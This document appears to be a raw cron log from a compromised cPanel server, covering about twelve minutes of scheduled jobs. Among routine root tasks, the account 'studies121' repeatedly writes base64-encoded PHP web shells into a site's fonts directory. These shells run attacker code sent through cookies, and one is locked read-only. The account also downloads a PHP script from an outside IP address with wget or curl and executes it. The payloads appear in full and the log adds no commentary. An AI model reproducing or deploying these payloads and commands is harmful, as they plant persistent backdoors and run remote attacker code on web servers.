Sep 12 06:30:01 ip-184-168-122-23 CROND[11530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:30:01 ip-184-168-122-23 CROND[11535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:30:01 ip-184-168-122-23 CROND[11534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:30:01 ip-184-168-122-23 CROND[11536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:30:01 ip-184-168-122-23 CROND[11532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:30:01 ip-184-168-122-23 CROND[11537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:31:01 ip-184-168-122-23 CROND[11640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:31:01 ip-184-168-122-23 CROND[11641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:31:01 ip-184-168-122-23 CROND[11642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:31:01 ip-184-168-122-23 CROND[11644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:31:01 ip-184-168-122-23 CROND[11645]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:32:01 ip-184-168-122-23 CROND[11852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:32:01 ip-184-168-122-23 CROND[11854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:32:01 ip-184-168-122-23 CROND[11855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:32:01 ip-184-168-122-23 CROND[11856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:32:01 ip-184-168-122-23 CROND[11857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:33:01 ip-184-168-122-23 CROND[11956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:33:01 ip-184-168-122-23 CROND[11957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:33:01 ip-184-168-122-23 CROND[11958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:33:01 ip-184-168-122-23 CROND[11960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:34:01 ip-184-168-122-23 CROND[12056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:34:01 ip-184-168-122-23 CROND[12058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:34:01 ip-184-168-122-23 CROND[12059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:34:01 ip-184-168-122-23 CROND[12060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:34:01 ip-184-168-122-23 CROND[12061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:35:02 ip-184-168-122-23 CROND[12170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12169]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:35:02 ip-184-168-122-23 CROND[12178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:35:02 ip-184-168-122-23 CROND[12174]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 06:36:01 ip-184-168-122-23 CROND[12306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:36:01 ip-184-168-122-23 CROND[12308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:36:01 ip-184-168-122-23 CROND[12309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:36:01 ip-184-168-122-23 CROND[12311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:36:01 ip-184-168-122-23 CROND[12310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:37:01 ip-184-168-122-23 CROND[12486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:37:01 ip-184-168-122-23 CROND[12488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:37:01 ip-184-168-122-23 CROND[12487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:37:01 ip-184-168-122-23 CROND[12489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:38:01 ip-184-168-122-23 CROND[12591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:38:01 ip-184-168-122-23 CROND[12592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:38:01 ip-184-168-122-23 CROND[12593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:38:01 ip-184-168-122-23 CROND[12594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:38:01 ip-184-168-122-23 CROND[12595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:39:01 ip-184-168-122-23 CROND[12713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:39:01 ip-184-168-122-23 CROND[12714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:39:01 ip-184-168-122-23 CROND[12715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:39:01 ip-184-168-122-23 CROND[12719]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 06:39:01 ip-184-168-122-23 CROND[12717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12817]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12816]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:40:01 ip-184-168-122-23 CROND[12822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:40:01 ip-184-168-122-23 CROND[12823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:40:01 ip-184-168-122-23 CROND[12825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:41:01 ip-184-168-122-23 CROND[12922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:41:01 ip-184-168-122-23 CROND[12923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:41:01 ip-184-168-122-23 CROND[12925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:41:01 ip-184-168-122-23 CROND[12924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:42:02 ip-184-168-122-23 CROND[13117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:42:02 ip-184-168-122-23 CROND[13119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:42:02 ip-184-168-122-23 CROND[13120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
